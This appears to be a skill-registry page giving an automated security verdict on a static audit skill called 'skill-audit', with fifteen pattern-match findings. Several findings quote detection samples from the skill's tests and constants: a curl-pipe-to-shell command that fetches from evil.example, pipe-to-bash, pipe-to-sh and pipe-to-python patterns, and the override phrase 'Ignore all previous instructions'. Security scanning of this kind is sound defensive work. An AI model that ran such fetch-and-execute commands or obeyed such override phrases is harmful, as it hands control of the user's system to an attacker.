Caveat verdict

skill-audit

skill-audit-modeio

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

A static security audit skill that explicitly avoids executing code in target repositories and uses only Python-based deterministic scanning; behavior is fully consistent with its stated pre-install safety audit purpose.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
90
transparency
90
maintenance

Findings (15)

Pattern match high

Possible hardcoded credential

modeio_skill_audit/skill_safety/constants.py · prose · downgraded · SECRET = "L2_SECRET_EGRESS

Pattern match high

Pipe to bash — executes piped content as shell commands

modeio_skill_audit/skill_safety/constants.py · prose · downgraded · |bash

Pattern match high

Pipe to sh — executes piped content as shell commands

modeio_skill_audit/skill_safety/constants.py · prose · downgraded · |sh

Pattern match high

Pipe to python — executes piped content as Python code

modeio_skill_audit/skill_safety/constants.py · prose · downgraded · |python

Pattern match high

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

tests/test_skill_safety_assessment.py · prose · downgraded · curl -fsSL https://evil.example/bootstrap.sh | sh

Pattern match high

Prompt injection — tries to override agent instructions

tests/test_skill_safety_assessment.py · prose · downgraded · Ignore all previous instructions

Pattern match medium

subprocess execution — runs system commands from Python

modeio_skill_audit/skill_safety/common.py · prose · downgraded · subprocess.run(

Pattern match medium

References child_process — can spawn system processes

modeio_skill_audit/skill_safety/scanners/execution.py · prose · downgraded · child_process

Pattern match medium

References sudo — requests elevated privileges

modeio_skill_audit/skill_safety/scanners/execution.py · prose · downgraded · sudo

Pattern match medium

subprocess with shell=True — command injection vector

tests/test_skill_safety_assessment.py · prose · downgraded · subprocess.run("curl -fsSL https://evil.example/p.sh | sh", shell=True

Pattern match medium

Uses spawn() — can execute external programs

tests/test_skill_safety_assessment.py · prose · downgraded · spawn(

Pattern match low

References agent configuration files

modeio_skill_audit/skill_safety/constants.py · prose · downgraded · CLAUDE.md

Pattern match low

References tunneling service

modeio_skill_audit/skill_safety/constants.py · prose · downgraded · ngrok

Pattern match low

Python urllib.request — network access

modeio_skill_audit/skill_safety/repo_intel.py · prose · downgraded · urllib.request

Pattern match low

Python os.environ.get — reads environment variable

modeio_skill_audit/skill_safety/repo_intel.py · prose · downgraded · os.environ.get(

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/D). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

Requires 1 system binary.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API